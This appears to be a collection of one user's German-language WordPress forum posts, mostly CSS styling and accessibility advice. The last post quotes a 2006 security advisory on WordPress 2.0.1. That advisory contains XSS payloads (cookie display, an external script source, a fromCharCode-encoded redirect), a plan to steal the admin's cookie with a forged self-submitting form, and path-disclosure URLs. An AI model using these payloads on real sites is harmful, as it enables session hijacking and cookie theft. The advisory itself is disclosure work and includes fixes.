Beiträge von Koch

    Blogsysteme sind in der Regel unsicher

    Hallo,
    es ist ein Leichtes (vorausgesetzt man hat die Ambitionen dazu und die kriminelle Energie und ein wenig Technik-Know-How) in eine Standard-Wordpress-Installation (NEUSTE VERSION!) mittels einiger weniger nicht so bekannter MySQL-Befehle einzudringen und dann

    - die komplette Installation,
    - die Datenbak(en)
    - Teile des/ u. U. den kompletten Server, oder
    - Verzeichnisse, ...

    zu lesen, zu ändern zu löschen etc.

    Ich und einige Tester haben dies anhand der WP-Installation selbst getestet. Betroffen sind Blogsysteme, die auf PHP in Verbimndung mit MySQL-Tabellen / DB installiert sind (getestet Apache SuSe Linux). Noch einfacher wäre es bei einem MS-Server, btw.

    Wie das geht, werde ich hierr nicht posten, aber wer mir ein "Probe-WP-Blog" zur Verfügung stellt, dem kann ich es vorführen.

    Im Gegensattz zu Wordpress ist das bei Blogger nicht so ohne Weiteres möglcih - Google.

    Es soll niemamndem der Spaß am Blog verdorben werden, jedoch müssten einige ihre Installation "sicherer" machen. Im Übrigen lief der Server in unseren Versuchen im SAFE-Mode, d.h. ohne die mod_rewrite Funktion.

    Eine simple Eingabe über die "Kommentieren-Funktion" ermöglichte den Zugriff auf die DB. Wir finden dies erschreckend, zumal WP sich aufgrund seiner Beliebtheit zunehmend verbreitet.

    Koch

    Mir ist kein Plugin/Erweiterung bekannt, die das kann. Es wurde mit CSS formatiert, und zwar uter der ID #sidebar wurde das a-Element mit Schriftgröße (font-size), Farbe (color) und <span> formatiert. Ein float ist auch eingebaut. Guck dir mal das HTML und die CSS an, dann wirds vielleicht klarer.

    Gruß Koch

    Css

    Zitat von Jonny

    Hab ich jetzt auch erstemal gemacht, auch wenn nicht die Wunschlösung, da ich ja da mal gerne doppelt so viel Platz hätte und bei einem anderen Eintrag nicht.. aber naja was solls.

    Dann leg dir doch speziell hierfür eine Klasse an, für das Blockelement p. Diese benutzt du dann immer nur im letzten Paragraf, unter dem dann der Abstand zum nächsten <p> erzeugt werden soll.

    p.plus { padding-bottom: 2em; line-height: 120% }

    <p class="plus">Lorem ipsum trallalla....</p>

    Schreib in die CSS-Datei zu deinem Theme dann unter #content p die Formatierungen.

    #content p.plus { ..formate... }

    Gruß
    Koch

    Navigation

    Hi,
    ich sehe keine Wolke....?! Meinst du die Navigation, die im Header eingebunden ist? Die kannst du durch CSS formatieren. Du nimmst eine Liste und arbeitest ggf. mit Grafiken, die Verlauf haben.
    Die Navigation auf dieser Seite (oben) ist reines CSS und kommt ohne Grafiken aus.
    Gruß Koch

    Zeilenumbruch

    Hi,
    die Erfahrung habe ich auch gemacht, am besten den WYSIWYNG-Editor ausschalten und <p>&nbsp</p> einfügen.

    Unsauberer wäre dann folgendes:

    <br />
    <br />

    was letzlich ja auch ein <p>&nbsp;</p> ergibt.

    Noch unsauberer und eigentlcih vöklliger Blösinn, wäre es, eine transparente Grafik einzufügen, die die Höhe des Abstamnds hat, mit einer Länge von 1px. Das ist aber Unsinn, da bei einem Scrollen der Textgröße der Abstand der gleiche bliebe.

    Lösung:
    Die beste Lösung wäre sicherlich die CSS anzupassen.


    Hi,
    mach ein solides, sauberes Design, verlass dich nicht auf Themes-Vorlagen, binde die includes selbst ein, erstelle ggf. eine spezielle CSS-Datei für IE6 und darunter (der IE7 Beta 2 versteht/interpretiert etwas mehr als der IE6), binde dieses Stylesheets als Conditional Comment in die Webseite ein, dann hast du schon mal die halbe Miete.
    Der Netscape 4 ist ein ganz altes Ding, trotzdem gibt es viele Orte, nicht nur in Afrika, wo dieser noch eingesetzt wird. Ich habe an einer Schule unterrichtet, wo die ihre Webseiten noch mit Netscape Composer erstellt und mit dem Netscape4 betrachtet haben.
    Sehr viele User benutzen auf Windows noch den IE5 und 5.5 in verschiedenenn Releases.
    Ich habe einen Grundsatz: die Inhalte der erstellten Seiten sollen in allen Ausgabemedien abrufbar/anzeigbar sein, das Layout/Design hingegen funktioniert in den modernen Browsern wie gewünscht.
    Für IE kannst du ggf. auch mit Browserweichen oder dem Attributselektor arbeiten, z. B. #header[id] { <!-- formate nur für IE6 und jünger --> } oder dem berühmenten Star-html-Workaround * html { ... }. Alledrings würde ich für den Redmontbrowser in jedem Fall ein eigenes Stylesheet anlegen.
    Ich habe einige Themes ausgetestet und leider festgestellt, dass sie im Firefox/Moz funktionieren, das Design im IE6 aber zerschossen ist (deutsche Lokalisationen der WP-Themes). Eine Anpassung ist in jedem Fall erforderlich, es sei denn es stört dich nicht, dass das Endergebnis nicht so überzeugend ist und bei 90% der User nicht wie gewünscht am Screen angezeigt wird.
    Eine separate Print-CSS ist für Blogs nicht zwingend, eher für geschäftliche Seiten - das muss jeder selbst entscheiden. Die modernen standardkonformen Browser beiten viele Optionen für die Druckausgabe, auch ohne print.css möglich.
    Ich muss wegen dem Release des IE7 (wann eigentlich, weiß das jemand genauer?) eine CSS mit einigen speziellen Anpassungen für IE6 und kleiner umschreiben, weil der IE7betaV2 das CSS anders interpretiert und sämtliche IE-spezifischen Angaben für den IE7 nicht mehr gelten sollen. Das nervt gewaltig. Hätte ich eine separate IE6 durch coditional comments eingebaut - kein Problem. Man lernt immer wieder dazu.
    Koch

    Re:Barrierefrei - Grenzen - Zielgruppen

    Zitat von tboley

    Nun, barrierefrei ist o.k., nur ist das kein heiliger Gral. Will sagen: Es gibt auch Grenzen und Zielgruppen. Allen alles recht zu machen, ist meines Erachtens weder wünschenswert noch sinvoll.

    Hallo tboley,
    bitte versteh' meine Hinweise nicht als Bevormundung o.ä., sondern als Denkanstoß:

    > Grenzen und Zielgruppen
    Sicherlich gibt es verschiedene Benutzergruppen mit unterschiedklicher Hard- und Softwareausstattung. Genau dies erfordert aber auch einen validen, möglichst sauberen Code, der den Erfordernissen der Ausgabemedien entspricht.
    Für eine screen/projection-Ausgabe, sprich z.B. dein Monitor, eine inividuelle CSS-Datei zu erstellen, ist eine tolle Sache. Was aber, wenn exakt diese CSS-Datei, die letztlich das Aussehen deiner Seite bestimmt, von deinem Bekannten angesehen wird, der vielleicht im Gegensatz zu dir einen TFT-Bildschirm hat, mit einer sehr hohen Auflösung? Zusätzlich hat er seine Farben am Monitor sehr rotstichig eingestellt (weil er eine leichte Farbblindheit hat) und die Helligkeit/Moiree/Kontraste ebenfalls verändert. Er hat die Schriftgröße in seinem Browser standardmäßig sehr groß eingestellt. (Na ja, und auf einem Mac mit IE5.5 sieht alles ein bisschen anders aus...)
    Opa benutzt Opera und hat sich alle verfügbaren Symbolleisten und Paneelen besonders benutzerfreundlich ins Browserfenster gezogen. Den alten Siemens-Nixdorf-Monitor 17'' hat er vor 10 Jahren vom Chef zu seiner Pensionierung geschenkt bekommen. Er tut zwar immer noch, aber leifder ist das Browserfenster klein und es ist kein Farbmonitor. Der Netscape 4 Browser zeigt ihm die Webseiten, die mit CSS formatiert sind, teilweise ganz komisch an.

    Valider Code und gültiges (X)HTML sorgen dafür, dass deine Webkreationen von möglichst vielen unterschiedklichen Leuten benutzt werden können. Er schafft auch die Voraussetzung für eine Erweiterung durch zukünftige Webtechnologien.

    Das hat nichts mit einem heiligen Gral zu tun, sondern es sind allgemein anerkannte und standardisierte Vorgaben und Empfehlungen - so wie es Rechtschreibregeln gibt, an die man sich halten sollte, so dass es andere lesen und interpretieren können.

    Er sieht deine Seite völlig anders als du, obwohl es auf deinem Bildschirm wirklich top aussieht. Seine Lebensabschnittspartnerin sieht hingegen überhaupt nichts, aber sie lässt sich die RSS-Feeds und auch interessante Artikel deines Blocks mit einem Screenreader vorlesen.

    > Zielgruppe: ist bei einer Veröffentlichung im öffentlichen Teil des Internet jeder, der deine Seite aufruft, sonst bräuchtest du es nicht öffentlcih publizieren (z. B. Bekannte, Nachbarn, Opa, die am Nordpol usw.)

    > Allen alles recht zu machen, ist meines Erachtens weder wünschenswert noch sinvoll.

    Na ja, es richtig zu machen erscheint mir sinnvoll (siehe oben) und wünschenswert. Es ist doch schön, wenn etwas funktioniert - bei möglichst vielen Usern. Und es machst Spaß. Man lernt immer wieder dazu....

    :D
    Koch

    Zitat von tboley

    Merkwürdig. Ich war bisher der festen Überzeugung, dass ich nicht für jedes Element eine Hintergrundfarbe angeben muss. Vermutlich benutze ich mit dem hier validator.w3.org auch den falschen Validator, den mein Theme ist XHTML strict valide ...

    h1 ist ein Blockelement, wenn du das formatierst, mit einer Vordergrundfarbe, dann sollst du auch eine Hintergrundfarbe angeben. Ich arbeite auch mit XHTML1.0Strict und CSS 1,2 und für Firefox auch mal CSS3.

    Ich benutze u.a. auch den http://jigsaw.w3.org/css-validator/

    ;) Matthias

    'font-color' ist nicht standardkonform

    Zitat von MaD

    als dieser Teil ist in deiner css-Datei unter h1 deklariert ... da kannst du die Änderungen vornehmen ... z.b: font-color: white; text-align: center;

    wie du es gern habe möchtest ...

    sorry, aber korrekt wäre z.B.

    h1 {
    color: #fff;
    background-color: inherit;
    text-align: center;
    }

    inherit = vererbt, die Farbe des Hintergrunds wird vom übergeordneten Elemet, z. B. body übernommen (vererbt). Der W3C-Validator erwartet eine Hintergrundfarbe, sonst validiert das CSS nicht und es wird eine Warnung ausgegeben.

    Möglich ist auch 'background: transparent;', jedoch background-color kann nicht 'transparent' sein, da dies keine gültige Farbe ist.

    Wenn du die Schrift anders stylen möchtest, fügtst du weitere Formatierungen hinzu, z. B. font-size, ....

    Du kannst in einer CSS-Referenz nachschauen, wenn du dir nicht sicher bist - z. B. in SelfHtml CSS-Referenz

    Zur Schrift:
    Grundsätzlich kannst du verschiedene Schriften angeben, alleerdings ist zu beachten, dass Schriften nur dann angezeigt werden, wenn sie auf dem Rechner des Users (Besuchers deiner Webseite) installiert sind. Die Schriftart "Adler" z. B. ist auf Windowssystemen nicht standardmäßig installiert. Mit "Arial" fährst du bessser. Da "Adler" eine Schriftart ist, die einer Schreibmaschine gleicht und Serifen hat (im Gegensatz zur serifenlosen Schrift wie Verdana, Arial usw.) kannst eine eine Schriftart verwenden, die fast jeder hat, und zusätzlich als letzte Möglichkeit die Schriftartemnfamilie angeben. ImZweifelsfall sucht sich dann der User-Client die benötigte Schriftart heraus, wenn die angegebene nicht gefunden wird.

    z. B.

    h1 {
    font-family: adler, 'Courier New', courier, times, 'Times New Roman', serif;
    font-weight: bold; /* dicke, fette Schrift im Gegegnsatz zu font-weight: normal (Standard). */
    color: #000; /* Schriftfarbe schwarz */
    background-color: #7f7f00; /* Hintergrundfarbe ein mattes Grün */
    }

    Jetzt kannst du noch mit 'letter-spacing' und word-spacing' arbeiten, daneben mit weiteren Formatierung, aber mach das nur wenn unbedingt notwendig, denn kurzer Code ist meistens sinnvoller. Formatierungen wie 'text-transform: uppercase' würde ich mir sparen.

    Der Code wäre dann also in deinem Fall z. B.:

    -------

    h1 a { /* site heading */
    font-family: adler, 'Courier New', courier, monospace; /* Schreibmaschinenschrift mit dicktengleichen Zeichen */
    font-size: 1.3em;
    line-height: 1.4em;
    letter-spacing: 0.25em;
    color: #000;
    background-color: inherit;
    text-decoration: none;
    }

    -------

    Matthias

    Kontaktformular

    Re:

    Zitat von jottlieb

    Diese Meldung bezieht sich auf WP 2.0.1 - WP 2.0.2 ist schon seit ca. einem Monat draußen und beseitigt afaik einige Sicherheitslücken wie XSS.

    Sprich, das was du da postet, ist bekannt.

    Na dann hoffen wir mal, dass andere Sicherheitslücken auch gestopft werden. Was genau die Verletzlichkeit ausmachte, wurde jedoch leider nicht gepostet (außer einem Verweis) - und darauf kommt es an, wenn man es nachvollziehen möchte (zumindest ich).

    WP2.0.2 wird nicht die FinalVersion sein *g*.

    Kein Gerücht: Sicherheitslücken in WP

    Hallo, ich selbst will mir auch WordPress auf einem Apache/2.0.48 (Linux/SuSE) installieren. Der Server läuft aber im SAVE MODE.

    Um diese Sicherheitslecks auszumerzen sind bereits Vorschläge gemacht worden. Dass es sich nicht um Gossip handelt, sondern um Versäumnisse bei der Programmierung, ist offensichtlich für die, die sich ein wenig damit beschäftigen.

    Durch die Anpassung der config kann man schon einige Dinge bereinigen. Zur Information hier der Originaltext, auf den sich auch die heise.de-Meldung bezieht:

    /*
    ---------------------------------------------------------------
    [N]eo [S]ecurity [T]eam [NST]� WordPress 2.0.1 Multiple Vulnerabilities
    ---------------------------------------------------------------
    Program : WordPress 2.0
    Homepage: http://www.wordpress.org
    Vulnerable Versions: WordPress 2.0.1 & lower ones
    Risk: Critical!
    Impact: XSS, Full Path Disclosure, Directory Listing

    -> WordPress 2.0.1 Multiple Vulnerabilities <-
    ---------------------------------------------------------------

    - Description
    ---------------------------------------------------------------
    WordPress is a state-of-the-art semantic personal publishing
    platform with a focus on aesthetics, web standards, and usability.
    What a mouthful. WordPress is both free and priceless at the same time.

    - Tested
    ---------------------------------------------------------------
    Tested in localhost & many blogs

    - Bug
    ---------------------------------------------------------------
    The vendor was contacted about some other coding errors that are not
    described here, the vendor was noticed about these bugs when this
    advisory was published.

    <+ Multiple XSS +>
    There're multiple XSS in `post comment':

    [1] `name' variable is not filtered when it's assigned to `value'
    on the `<input>' in the form when the comment it's posted.
    [2] Happends the same as [1] with `website' variable.
    [3] `comment', this variable only filtered " and ' chars, this makes
    possible to use < and >, thus this permit an attacker to inject
    any HTML (or script) code that he/she want but without any " or '
    character, this only happends if the user that post the comment it's
    the admin (any registered kind of `user').

    If you (or victim) is a unregistered user, you can use " and ' in your
    HTML/script Injection using `name' or `website' variables, but if the
    victim is the admin or a registered user these 2 fields described above
    aren't availabe in the form so you cannot even give a value to them.
    The only remaining option it's to use the `comment' variable but here
    we have the problem that we cannot use " or ' in HTML/SCRIPT Injected and
    we have to make the admin to post the comment (POST method).

    <+ Full path disclosure & Directory listing +>
    When I discovered this bug, I reported it to some pepople before
    public disclosure, I was noticed that this isn't new and I
    decided to look why they haven't patch this bug.

    As this bug it isn't patched yet, I tryed to know why and I found
    something like this in their forum (I don't know if the person
    that posted this was the admin but it gives the explanation):
    (Something like the following, it's not textual).
    `... these bugs are caused by badly configured .ini file, it's not
    a bug generated by the script so it cannot be accepted as a bug of
    WordPress...'. This is not an acceptable answer, if you think it is,
    a bug caused because of register_globals is Off it's .ini fault and not
    the script, they have to be kidding, if they want to make good software,
    they have to make as far as the language can, to prevent all bugs.

    There're multiple files that don't check if they are been call
    directly. This is a problem because they expect that functions
    that the script is going to be called to be declared.
    This kind of bug it's taken as a Low Risk bug, but it can help
    to future attacks.

    - Exploit
    ---------------------------------------------------------------
    -- Cross Site Scripting (XSS)
    PoC:
    [1] Post a comment with the following values (as unregistered user):
    (No possible profit)

    Name : "><script>alert("WordPress PoC from");</script>
    Mail : neosecurityteam@nst.net
    Website: "><script>alert("[N]eo[S]ecurity[T]eam http://www.neosecurityteam.net");</script>
    Comment: http://www.neosecurityteam.net/foro/

    The injected HTML code only affects the user that posted it, not others.

    [2] This way it's more intresting and useful.
    In this case the HTML Injected will stay in the board affecting each person
    who see it.
    But we have two problems:
    [I ]- This comment must be posted by the admin
    [II]- We only can use the `comment' field, because the admin form to make
    the comment doesn't need the `name' or `website'.
    Also the injected code cannot have any " or ' chars.

    Here are my solutions:
    [I ]- We cannot give to the admin a `malicius' URL to steal the cookie
    because it isn't via GET, it's via POST. So the solution it's to
    make a copy form of the real one and set the default values to
    the corresonding field (`comment') to make the stealing.
    Also make the form submit itself when the page loads. Thus, we give
    the admin the URL of this form and he/she will post the comment
    with the values we set before. :)
    [II]- We can only use this field to make the injection, the `big' problem
    its that we cannot use " or ' chars wich means that something like
    window.location = "http://www.google.com.uy"; won't work.

    Here are some real examples:

    - <script>alert(document.cookie)</script>
    - <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
    100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
    78,83,84))</script>
    - <script src=http://www.neosecurityteam.net></script>
    - <script>document.location = String.fromCharCode(104,116,116,112,58,47,
    47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
    97,109,46,110,101,116)</script>

    As you can see this bug it's exploitable, it's only knowing a bit
    deeper how to do XSS under some conditions. There're more
    possibilities than described above, investigate yourself.

    -- Full path disclosure & Directory Listing
    Directory Listing: http://www.victim.com/wordpress/wp-includes/

    Full path disclosure:
    http://www.victim.com/wordpress/wp-i…ult-filters.php
    http://www.victim.com/wordpress/wp-i ncludes/template-loader.php
    http://www.victim.com/wordpress/wp-a…rm-advanced.php
    http://www.victim.co m/wordpress/wp-admin/edit-form-comment.php
    http://www.victim.com/wordpress/wp-i…s-functions.php
    http://www.victim.com/wordpress/wp-admin/admin-functions.php
    http://www.victim.com/wordpress/wp-admin/edit-link-f orm.php
    http://www.victim.com/wordpress/wp-admin/edit-page-form.php
    http://www.victim.com/wordpress/wp-admin/adm in-footer.php
    http://www.victim.com/wordpress/wp-admin/menu-header.php
    http://www.victim.com/wordpress/wp-includ es/locale.php
    http://www.victim.com/wordpress/wp-admin/edit-form.php
    http://www.victim.com/wordpress/wp-includes /wp-db.php
    http://www.victim.com/wordpress/wp-includes/kses.php
    http://www.victim.com/wordpress/wp-includes/vars .php
    http://www.victim.com/wordpress/wp-admin/menu.php
    http://www.victim.com/wordpress/wp-settings.php

    - Solutions
    ---------------------------------------------------------------
    <+ Cross Site Scripting (XSS) +>
    Change lines ~21 of 'wp-comments-post.php' to:
    $comment_author = htmlentities(trim($_POST['author']));
    $comment_author_email = htmlentities(trim($_POST['email']));
    $comment_author_url = htmlentities(trim($_POST['url']));
    $comment_content = htmlentities(trim($_POST['comment']));

    <+ Full Path Disclosure & Directory Listing +>
    In the first line of each vulnerable file you should write:
    if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
    die('You are not allowed to see this page directly');

    - References
    ---------------------------------------------------------------
    http://NeoSecurityTeam. net/advisories/Advisory-17.txt

    - Credits
    --------------------------------------------------------------
    Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com

    [N]eo [S]ecurity [T]eam [NST]� - http://NeoSecurityTeam.net/

    Irc.InfoGroup.cl #neosecurityteam
    Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/

    - Greets
    ---------------------------------------------------------------
    Paisterist
    HaCkZaTaN
    Link
    Daemon21
    erg0t
    NST Comunity!

    @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
    '@@@@@''@@'@@@''''''''@@''@@@''@@
    '@@'@@@@@@''@@@@@ @@@@'''''@@@
    '@@'''@@@@'''''''''@@@''''@@@
    @@@@''''@@'@@@@@@@@@@''''@@@@@
    */

    ------------------
    Mail (Kontaktformular) an mich: http://www.trink10.org/contact.php

    Matthias :rolleyes: